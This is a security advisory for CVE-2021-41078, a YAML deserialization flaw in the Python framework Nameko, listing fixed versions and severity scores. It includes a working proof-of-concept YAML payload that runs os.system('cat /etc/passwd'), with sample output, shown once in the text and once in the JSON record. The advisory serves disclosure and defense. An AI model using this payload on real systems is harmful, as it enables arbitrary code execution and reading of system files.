GHSA-6P52-JR3Q-C94G
Vulnerability from github – Published: 2021-10-19 15:28 – Updated: 2024-10-07 14:45
VLAI?
Summary
Nameko Arbitrary code execution due to YAML deserialization
Details
Impact
Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Patches
The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.
Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.
Workarounds
The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.
Severity ?
8.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nameko"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0rc9"
},
"package": {
"ecosystem": "PyPI",
"name": "nameko"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0rc0"
},
{
"fixed": "3.0.0rc10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41078"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-19T15:14:24Z",
"nvd_published_at": "2021-10-26T13:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: [\u0027z\u0027, !!python/tuple [], {\u0027extend\u0027: !!python/name:exec }]\nlistitems: \"__import__(\u0027os\u0027).system(\u0027cat /etc/passwd\u0027)\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.",
"id": "GHSA-6p52-jr3q-c94g",
"modified": "2024-10-07T14:45:04Z",
"published": "2021-10-19T15:28:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41078"
},
{
"type": "PACKAGE",
"url": "https://github.com/nameko/nameko"
},
{
"type": "WEB",
"url": "https://github.com/nameko/nameko/releases/tag/v2.14.0"
},
{
"type": "WEB",
"url": "https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Nameko Arbitrary code execution due to YAML deserialization"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…